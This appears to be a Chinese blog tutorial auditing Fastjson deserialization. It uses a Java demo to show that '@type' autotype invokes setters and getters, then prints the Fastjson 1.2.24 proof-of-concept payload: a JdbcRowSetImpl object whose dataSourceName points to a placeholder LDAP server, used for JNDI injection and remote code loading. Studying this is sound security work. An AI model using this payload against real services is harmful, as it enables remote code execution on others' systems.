当前位置: 首页 > news >正文

代码审计之Fastjson利用链

写一个demo

package cn.anger.fastjsontest.demos.web;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;public class FastjsonController {public static void main(String[] args) {//利用Fastjson去解析变量数据String str="{\"name\":\"anger\",\"age\":18}}";JSONObject data=JSON.parseObject(str);System.out.println(data);}
}
  • 先写一个demo,这里主要是利用Fastjson去解析变量数据

![](https://i-blog.csdnimg.cn/img_convert/fdb9c7286217109b4

这里将这个语句换成这个:

package cn.anger.fastjsontest.demos.web;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;public class FastjsonController {public static void main(String[] args) {//利用Fastjson去解析变量数据String str="{\"name\":\"anger\",\"age\":18}";
//        JSONObject data=JSON.parseObject(str);String userStr = "{\"@type\":\"cn.anger.fastjsontest.demos.web.User\",\"age\":22,\"name\":\"anger\"}";JSONObject data=JSON.parseObject(userStr);System.out.println(data);}
}

在这里插入图片描述

这里输出结果就是anger和22

但是前面的内容没有了

这里我将这个user类中的默认set,getname类输出,接着在尝试打印结果

在这里插入图片描述

这时候就会出现这个打印的结果

所以这个时候将 userstr中的参数减少,那么执行的类的方法也会减少,只会直接执行其中的对应类

那么也就说明:传入其他类解析后默认执行set get类方法

接着使用Fastjson1.2.24这个版本的poc来进行分析:

还是先需要启动jndi注入命令:

在这里插入图片描述

然后需要再demo中修改代码:

package cn.anger.fastjsontest.demos.web;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;public class FastjsonController {public static void main(String[] args) {//利用Fastjson去解析变量数据String str="{\"name\":\"anger\",\"age\":18}";
//        JSONObject data=JSON.parseObject(str);String userStr = "{\"@type\":\"cn.anger.fastjsontest.demos.web.User\",\"age\":22}";//恶意pocString Pocstr = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://x.x.x.x:1389/m6pqb\", \"autoCommit\":true}\n";JSONObject data=JSON.parseObject(Pocstr);System.out.println(data);}
}

在这里插入图片描述

<

http://www.mrgr.cn/news/80438.html

相关文章:

  • Synchronous Serial Port 协议详解
  • 【密码学】ZUC祖冲之算法
  • 双亲委派机制是Java类加载器的一种工作模式
  • 供应ETA6911充电电流高达4A的开关充电器IC
  • MATLAB中Simulink的信号线
  • Python Segmentation fault错误定位办法
  • jenkins pipeline打包流程
  • LWIP协议:三次握手和四次挥手、TCP/IP模型
  • Qt WORD/PDF(一)使用 QtPdfium库实现 PDF 预览
  • 音频进阶学习八——傅里叶变换的介绍
  • uniapp/HBuilder X引入weex报错weex is not defined
  • 3.1 角度
  • 【自动控制原理】学习地图
  • WES7汉化教程
  • 02、10个富士胶片模拟的设置
  • fabric.js
  • 【时间序列分析】斯皮尔曼(Spearman)相关系数理论基础及python代码实现
  • 【图像配准】方法总结
  • hive—炸裂函数explode/posexplode
  • 【漫话机器学习系列】010.Bagging算法(Bootstrap Aggregating)
  • 循环神经网络RNN笔记
  • LeetCode1.两数之和(超简单讲解)
  • 医疗领域的网络安全预防:保障患者隐私与医疗数据安全
  • LeetCode 283.移动零(超简单讲解)
  • docker离线安装、linux 安装docker
  • 概率论得学习和整理26:EXCEL 关于plot 折线图--频度折线图的一些细节